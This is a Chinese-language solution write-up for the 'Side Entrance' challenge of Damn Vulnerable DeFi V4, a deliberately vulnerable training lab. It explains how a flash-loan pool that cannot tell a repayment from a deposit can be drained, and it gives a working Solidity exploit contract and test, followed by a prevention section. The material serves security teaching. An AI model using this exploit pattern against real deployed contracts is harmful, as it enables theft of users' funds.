Damn Vulnerable DeFi V4 解决方案 — #4. 侧门
此解释假设你事先了解此挑战中的智能合约,并将专门关注漏洞分析。
挑战概述
一个非常简单的池允许任何人存入 ETH,并在任何时间点提取它。
它已经有 1000 ETH 的余额,并且提供免费的闪电贷,使用存入的 ETH 来推广他们的系统。
你开始时有 1 ETH 的余额。通过从池中救出所有 ETH 并将其存入指定的恢复帐户来通过挑战。
漏洞分析
在 flashLoan() 函数中,我们可以看到我们有机会调用我们实现的 execute() 函数。
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
该函数检查我们是否将 ETH 退还给合约,但它不控制我们执行此操作的方式。
根本问题在于合约没有区分“偿还贷款”和“进行存款”——它们都会增加合约的 ETH 余额,但具有非常不同的会计影响。
攻击流程
1. 调用 flashLoan() 从池中借出所有 ETH
2. 在我们的 execute() 函数中,将借来的 ETH 存回池中
3. 池的余额已恢复(通过检查),但现在我们在池的会计系统中有信用额度
4. 调用 withdraw() 排空池中的所有资金
解决方案
contract MyIFlashLoanEtherReceiver {
SideEntranceLenderPool pool;
address payable recovery;
constructor(address _pool, address payable _recovery) {
recovery = _recovery;
pool = SideEntranceLenderPool(_pool);
}
function callFlashLoan(uint256 amount) external {
pool.flashLoan(amount);
}
function execute() external payable {
pool.deposit{value: msg.value}();
}
function withdraw() public {
pool.withdraw();
(bool success, ) = recovery.call{value: address(this).balance}("");
}
receive() external payable {}
}
/**
* CODE YOUR SOLUTION HERE
* 在这里编写你的解决方案
*/
function test_sideEntrance() public checkSolvedByPlayer {
MyIFlashLoanEtherReceiver loanReceiver = new MyIFlashLoanEtherReceiver(address(pool), payable(recovery));
loanReceiver.callFlashLoan(ETHER_IN_POOL);
loanReceiver.withdraw();
}
预防机制
为了避免像这样的漏洞,闪电贷合约通常使用 transferFrom() 函数从你自己的合约中提取资金,而不是等待你将它们发回。 这确保了闪电贷被视为纯粹的贷款交易,而不会与存款等其他操作混淆。 如果拉取请求失败,贷款将恢复并出现错误。
包含解决方案的 GitHub 仓库:
查看我的 X 个人资料: